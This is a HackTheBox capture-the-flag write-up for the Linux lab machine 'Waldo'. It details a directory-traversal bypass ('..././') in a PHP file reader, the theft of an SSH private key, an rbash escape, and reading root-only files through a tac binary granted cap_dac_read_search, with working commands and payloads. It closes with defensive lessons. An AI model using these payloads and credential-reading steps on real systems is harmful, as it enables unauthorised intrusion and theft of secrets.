HTB: Waldo Writeup

Waldo - HackTheBox Writeup

Machine Information

AttributeDetails
NameWaldo
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.10.87
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Waldo is a medium-difficulty Linux machine that demonstrates the dangers of insufficient input validation in PHP file handlers, the security implications of Docker container misconfiguration, and a creative privilege escalation vector using Linux Capabilities instead of traditional SETUID binaries. The attack chain involves exploiting a directory traversal vulnerability to leak SSH credentials, escaping a restricted bash shell, and leveraging cap_dac_read_search to read privileged files without obtaining a root shell.

TL;DR: Directory traversal in PHP (..././ bypass) → SSH private key leak → Docker container foothold → rbash escape via SSH -tt flag → Linux Capabilities abuse (cap_dac_read_search+ei on /usr/bin/tac) → root flag.


Reconnaissance

Port Scanning

Terminal window
# Initial masscan for fast port discovery
masscan -p1-65535 10.10.10.87 --rate=1000 -e tun0
# Detailed nmap service scan on discovered ports
nmap -sC -sV -T4 -p22,80,8888 10.10.10.87

Results:

  • Port 22/tcp — OpenSSH (open)
  • Port 80/tcp — nginx 1.12.2 (open)
  • Port 8888/tcp — filtered (no direct access from external network)

Service Enumeration

HTTP (Port 80)

The nginx web server hosts a “List Manager” application, providing functionality to create, view, and delete lists. The application uses AJAX calls to PHP backend scripts.

Terminal window
# Browse to the application
firefox http://10.10.10.87

Inspecting the application in Burp Suite reveals several interesting endpoints:

  • dirRead.php — Lists directory contents (JSON response)
  • fileRead.php — Reads file contents
  • fileWrite.php — Writes file contents
  • fileDelete.php — Deletes files

The dirRead.php endpoint accepts a path parameter set to /.list/ by default.

Vulnerability Assessment

Directory Traversal in PHP File Handlers

Testing the path parameter reveals that removing .list returns a top-level directory listing. Examining the source code of fileRead.php via the traversal shows the sanitization logic:

Terminal window
# Request fileRead.php source via dirRead.php traversal
# POST to dirRead.php with path=/
# Then read fileRead.php source
# POST to fileRead.php with file=fileRead.php

The returned source code (after cleaning up JSON escape sequences) reveals:

<?php
if($_SERVER['REQUEST_METHOD'] === "POST"){
$_POST['file'] = str_replace(array("../", ".."), "", $_POST['file']);
if(strpos($_POST['file'], "user.txt") === false){
$file = fopen("/var/www/html/" . $_POST['file'], "r");
$fileContent['file'] = fread($file,filesize($_POST['file']));
fclose();
}
echo json_encode($fileContent);
}

Critical Flaw: The str_replace() function performs only a single-pass replacement. By providing ..././ as input, after removing ../, the remaining characters still form ../, allowing directory traversal.

Example:

  • Input: ..././..././etc/passwd
  • After str_replace: ../../etc/passwd
  • Result: Directory traversal successful

Initial Foothold

Exploitation Path

Step 1: Directory Traversal to Enumerate Users

Terminal window
# Use Burp Repeater or curl to read /etc/passwd
# POST to fileRead.php
# file=..././..././..././..././etc/passwd
# Clean up JSON output
cat passwd_response.json | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed 's/\\//g' | grep sh

The output reveals several users with login shells, including the nobody user with home directory /home/nobody.

Step 2: Enumerate SSH Keys

Terminal window
# List nobody's home directory
# POST to dirRead.php with path=..././..././home/nobody
# Reveals .ssh directory exists
# List .ssh contents
# POST to dirRead.php with path=..././..././home/nobody/.ssh/

The .ssh directory contains a private key file named .monitor.

Step 3: Extract SSH Private Key

Terminal window
# Read the .monitor private key
# POST to fileRead.php with file=..././..././home/nobody/.ssh/.monitor
# Save and format the key
cat monitor_key.json | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed 's/\\//g' > .monitor
chmod 600 .monitor

Step 4: SSH Access as nobody

Terminal window
# Connect using the extracted private key
ssh nobody@10.10.10.87 -i .monitor

Success! A shell is obtained as the nobody user.

Container Detection

Upon gaining access, several indicators suggest the shell is inside a Docker container:

Terminal window
# Check for Docker-specific files
ls -la /.dockerenv
# Output: -rwxr-xr-x 1 root root 0 May 3 2018 /.dockerenv
# Examine cgroup information
cat /proc/self/cgroup
# Output shows docker container IDs in the cgroup paths

The OS is Alpine Linux, a lightweight distribution commonly used for Docker containers.

Retrieve User Flag

Terminal window
cat /home/nobody/user.txt

User flag obtained: <redacted>


Privilege Escalation

Lateral Movement: Container to Host

Step 1: Network Enumeration

Terminal window
# Check listening ports from within container
netstat -an
# Shows port 8888 listening on localhost

Further examination using /proc/net/tcp parsing or inspection of SSH configuration reveals that the container shares the host’s localhost network namespace, and SSH is listening on port 8888 on the host.

Terminal window
# Check SSH config
cat /etc/ssh/sshd_config | grep -i port

Step 2: SSH to Host as monitor

The .monitor private key found earlier can be used to SSH from the container to the host:

Terminal window
# Initial attempt
ssh monitor@127.0.0.1 -i ~/.ssh/.monitor

A shell is obtained, but executing commands returns:

-rbash: id: command not found

This indicates a restricted bash (rbash) shell.

Restricted Shell Escape

Restricted bash prevents:

  • Changing the PATH variable
  • Specifying absolute paths to commands
  • Using redirection operators
  • Changing directory

Bypass Technique: The SSH -t flag forces pseudo-terminal allocation, and specifying a command directly (bash) bypasses the rbash restrictions set in the user’s profile.

Terminal window
# Exit the current restricted shell
exit
# Reconnect with TTY forcing and direct bash invocation
ssh -tt monitor@127.0.0.1 -i ~/.ssh/.monitor bash

Success! An unrestricted shell is obtained as the monitor user.

Terminal window
# Set proper PATH for convenience
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
# Verify
id
# uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)
pwd
# /home/monitor

Privilege Escalation to Root

Enumeration of Capabilities

Traditional SETUID binary enumeration yields no results:

Terminal window
find / -perm -4000 -type f 2>/dev/null

A lesser-known privilege escalation vector involves Linux Capabilities — a mechanism to grant specific privileges to binaries without full SETUID root.

Terminal window
# Enumerate capabilities on all binaries
getcap -r / 2>/dev/null

Output:

/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
/usr/bin/tac = cap_dac_read_search+ei

Key Finding: /usr/bin/tac has the cap_dac_read_search+ei capability.

This capability allows a process to:

  • Bypass file read permission checks (DAC = Discretionary Access Control)
  • Bypass directory search permission checks

Effectively, any file on the filesystem can be read, regardless of permissions, without needing root privileges.

Why tac? The tac utility is like cat but outputs lines in reverse order. By specifying a separator that doesn’t exist in the target file, the entire content is treated as a single line, maintaining the original order.

Exploiting the Capability

Terminal window
# Read the root flag using tac with a non-existent separator
/usr/bin/tac -s @ /root/root.txt

Root flag obtained: <redacted>

Note: While the root SSH private key could also be read (/usr/bin/tac -s @ /root/.ssh/id_rsa), there was no authorized_keys file configured, so SSH access as root wasn’t possible. However, reading the flag was sufficient for the objective.


Attack Chain Summary

Directory Traversal (..././ bypass in fileRead.php)
SSH Private Key Disclosure (/home/nobody/.ssh/.monitor)
Foothold as nobody (Alpine Docker Container)
Lateral Movement (SSH to host via localhost:8888)
Restricted Shell Escape (ssh -tt monitor@127.0.0.1 bash)
Linux Capabilities Abuse (cap_dac_read_search+ei on /usr/bin/tac)
Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
masscanFast initial port discovery
Burp SuiteWeb proxy for request manipulation and analysis
sshRemote shell access and lateral movement
sedStream editor for JSON cleanup and formatting
getcapLinux Capabilities enumeration
/usr/bin/tacFile reading with elevated capabilities

Key Learnings

Techniques Practiced

  • Input Validation Bypass: Single-pass string replacement can be defeated with recursive patterns (..././)
  • Docker Container Detection: Identifying containerized environments via /.dockerenv and /proc/self/cgroup
  • Restricted Shell Escape: Using SSH flags (-t, -tt) to bypass rbash restrictions by forcing PTY allocation
  • Linux Capabilities Enumeration: Using getcap to find binaries with elevated privileges beyond SETUID
  • Privilege Escalation via Capabilities: Exploiting cap_dac_read_search+ei to bypass file read permissions

Lessons Learned

  1. Defense in Depth for Input Sanitization: Never rely on single-pass replacement for security. Use whitelist validation, canonicalization, or recursive replacement until no changes occur. The str_replace() pattern is a common anti-pattern in PHP applications.

  2. Container Breakout Awareness: Docker containers sharing the host’s localhost can create lateral movement opportunities. Network namespaces should be properly isolated, and SSH access between containers and hosts should be carefully controlled.

  3. Restricted Shells Are Not Security Boundaries: Rbash and similar restricted shells can often be bypassed through SSH options, command injection, or exploitation of allowed commands. They should not be relied upon as a primary security control.

  4. Linux Capabilities Require Careful Auditing: While capabilities provide fine-grained privilege control, certain capabilities like cap_dac_read_search are nearly as powerful as root for specific operations. Regular auditing with getcap should be part of security assessments.

  5. Defense Without Detection: The cap_dac_read_search capability allows silent privilege escalation without spawning a root shell, potentially evading detection systems that monitor for privilege escalation via traditional methods (su, sudo, SETUID binaries).


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References